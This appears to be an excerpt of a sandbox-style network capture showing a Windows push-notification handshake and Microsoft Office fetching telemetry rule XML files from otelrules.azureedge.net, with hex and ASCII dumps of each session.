2024-12-02 06:37:55 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 45 41 41 36 4c 65 69 32 6b 69 4f 55 37 61 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 30 63 36 61 61 30 33 30 36 35 35 63 31 63 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: PEAA6Lei2kiOU7az.1Context: 80c6aa030655c1cc
2024-12-02 06:37:55 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-02 06:37:55 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 45 41 41 36 4c 65 69 32 6b 69 4f 55 37 61 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 30 63 36 61 61 30 33 30 36 35 35 63 31 63 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 2f 59 7a 76 43 38 67 54 62 2f 6d 73 4c 2b 59 51 4e 38 6f 2f 31 72 67 68 4e 79 7a 63 4e 69 35 76 6c 65 57 31 71 77 67 51 44 70 56 57 76 46 48 43 66 77 76 57 6e 35 36 4c 6d 51 71 43 31 34 63 51 38 73 55 44 54 54 4a 6c 6f 7a 6a 30 68 6a 64 77 6e 6a 34 70 43 76 71 4c 79 51 67 4b 41 53 65 51 51 61 79 42 58 6e 47 2f 4c 45 66 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: PEAA6Lei2kiOU7az.2Context: 80c6aa030655c1cc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAb/YzvC8gTb/msL+YQN8o/1rghNyzcNi5vleW1qwgQDpVWvFHCfwvWn56LmQqC14cQ8sUDTTJlozj0hjdwnj4pCvqLyQgKASeQQayBXnG/LEf/
2024-12-02 06:37:55 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 45 41 41 36 4c 65 69 32 6b 69 4f 55 37 61 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 30 63 36 61 61 30 33 30 36 35 35 63 31 63 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: PEAA6Lei2kiOU7az.3Context: 80c6aa030655c1cc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-02 06:37:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-02 06:37:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 6d 7a 2b 5a 2f 79 4d 38 30 4b 48 78 34 53 7a 71 59 30 52 4d 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /mz+Z/yM80KHx4SzqY0RMA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:56 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:57 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 2eabf22f-f01e-005d-68dc-4313ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063757Z-174f784596886s2bhC1EWR743w0000001440000000004nk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:57 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:57 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 00f8033d-001e-000b-2543-4415a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063757Z-174f7845968qj8jrhC1EWRh41s00000013xg00000000bmh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063757Z-174f7845968kdththC1EWRzvxn0000000gbg000000009era x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:57 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:57 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:57 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: e61fb942-301e-000c-78b4-43323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063757Z-174f7845968xr5c2hC1EWRd0hn0000000nx000000000694v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:57 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:59 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:59 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: a4f187ec-301e-001f-400b-42aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063759Z-174f78459684bddphC1EWRbht400000013x0000000000and x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:59 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:59 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:59 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 5bfdc617-b01e-001e-76f1-410214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063759Z-174f7845968psccphC1EWRuz9s00000014dg000000000das x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:59 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:59 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:00 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:59 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 44636861-901e-0083-5170-43bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063759Z-174f7845968j6t2phC1EWRcfe80000001490000000002b2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:00 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:59 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:59 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 18b3661f-601e-0070-64f7-41a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063759Z-174f7845968px8v7hC1EWR08ng00000014ag000000005cv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:00 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:01 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:01 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c2b00c79-201e-0000-27b2-42a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063801Z-174f7845968glpgnhC1EWR7uec000000148g000000003ghk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:01 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:01 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:01 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f1905457-c01e-0066-4580-3fa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063801Z-174f7845968xr5c2hC1EWRd0hn0000000p0g000000000sgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
